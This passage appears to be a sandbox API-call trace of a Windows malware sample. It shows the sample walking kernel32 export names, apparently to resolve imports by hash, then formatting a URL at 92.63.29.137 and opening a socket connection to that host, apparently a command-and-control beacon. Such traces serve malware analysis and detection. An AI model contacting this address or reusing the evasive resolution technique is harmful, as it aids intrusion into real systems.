lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0108.947] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0108.947] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0108.947] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0108.947] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0108.947] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0108.947] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0108.947] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0108.947] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0108.947] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0108.947] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0108.947] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0108.947] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0108.947] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0108.947] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0108.947] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0108.947] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0108.947] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0108.947] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0108.947] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0108.947] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0108.947] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0108.947] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0108.947] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0108.948] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0108.948] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0108.948] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0108.948] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0108.948] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0108.948] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0108.948] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0108.948] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0108.948] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0108.948] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0108.948] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0108.948] lstrlenA (lpString="CREATETHREAD") returned 12 [0108.948] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0108.948] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0108.948] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0108.948] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0108.948] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0108.948] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0108.948] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0108.948] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0108.948] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0108.948] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0108.948] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0108.948] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0108.948] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0108.948] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0108.948] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0108.949] GetTickCount () returned 0x30bb9 [0108.949] GetTickCount () returned 0x30bb9 [0108.949] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000 [0108.949] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0108.950] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0108.950] wsprintfA (in: param_1=0x3000000, param_2="http://%s%s" | out: param_1="http://92.63.29.137/support/crcff.shtml?a=uc1313&dw=hjt&pt=kup135&uy=uj6614j") returned 76 [0108.950] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0108.951] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3040000 [0108.951] VirtualAlloc (lpAddress=0x0, dwSize=0x3a, flAllocationType=0x3000, flProtect=0x4) returned 0x30b0000 [0108.951] VirtualAlloc (lpAddress=0x0, dwSize=0x46, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0108.952] lstrlenA (lpString="kernel32.dll") returned 12 [0108.952] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0108.952] inet_pton (in: Family=2, pszAddrString="92.63.29.137", pAddrBuf=0x2e7f828 | out: pAddrBuf=0x2e7f828) returned 1 [0108.952] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2e7fc74 | out: lpWSAData=0x2e7fc74) returned 0 [0108.952] socket (af=2, type=1, protocol=6) returned 0x544 [0108.952] inet_addr (cp="92.63.29.137") returned 0x891d3f5c [0108.952] htons (hostshort=0x50) returned 0x5000 [0108.952] connect (s=0x544, name=0x2e7f804*(sa_family=2, sin_port=0x50, sin_addr="92.63.29.137"), namelen=16) returned 0 [0109.012] lstrlenA (lpString="kernel32.dll") returned 12 [0109.013] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0109.013] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0109.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0109.013] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0109.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0109.013] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0109.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0109.013] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0109.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0109.013] lstrlenA (lpString="ADDATOMA") returned 8 [0109.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0109.013] lstrlenA (lpString="ADDATOMW") returned 8 [0109.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0109.013] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0109.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0109.013] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0109.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0109.013] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0109.013] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0109.013] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0109.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0109.014] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0109.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0109.014] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0109.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0109.014] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0109.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0109.014] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0109.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0109.014] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0109.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0109.014] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0109.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0109.014] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0109.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0109.014] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0109.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0109.014] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0109.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0109.014] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0109.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0109.014] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0109.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0109.014] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0109.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0109.014] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0109.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0109.014] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0109.014] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0109.015] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0109.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0109.015] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0109.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0109.015] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0109.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0109.015] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0109.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0109.015] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0109.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0109.015] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0109.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0109.015] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0109.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0109.015] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0109.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0109.015] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0109.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0109.015] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0109.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0109.015] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0109.015] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0109.015] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0109.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0109.016] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0109.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0109.016] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0109.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0109.016] lstrlenA (lpString="BACKUPREAD") returned 10 [0109.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0109.016] lstrlenA (lpString="BACKUPSEEK") returned 10 [0109.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0109.016] lstrlenA (lpString="BACKUPWRITE") returned 11 [0109.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0109.016] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0109.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0109.016] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0109.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0109.016] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0109.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0109.016] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0109.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0109.016] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0109.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0109.016] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0109.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0109.016] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0109.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0109.016] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0109.016] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0109.016] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0109.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0109.017] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0109.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0109.017] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0109.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0109.017] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0109.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0109.017] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0109.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0109.017] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0109.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0109.017] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0109.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0109.017] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0109.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0109.017] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0109.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0109.017] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0109.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0109.017] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0109.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0109.017] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0109.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0109.017] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0109.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0109.017] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0109.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0109.017] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0109.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0109.017] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0109.017] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0109.018] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0109.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0109.018] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0109.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0109.018] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0109.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0109.018] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0109.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0109.018] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0109.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0109.018] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0109.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0109.018] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0109.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0109.018] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0109.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0109.018] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0109.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0109.018] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0109.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0109.018] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0109.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0109.018] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0109.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0109.018] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0109.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0109.018] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0109.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0109.018] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0109.018] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0109.018] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0109.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0109.019] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0109.019] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0109.019] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0109.019] 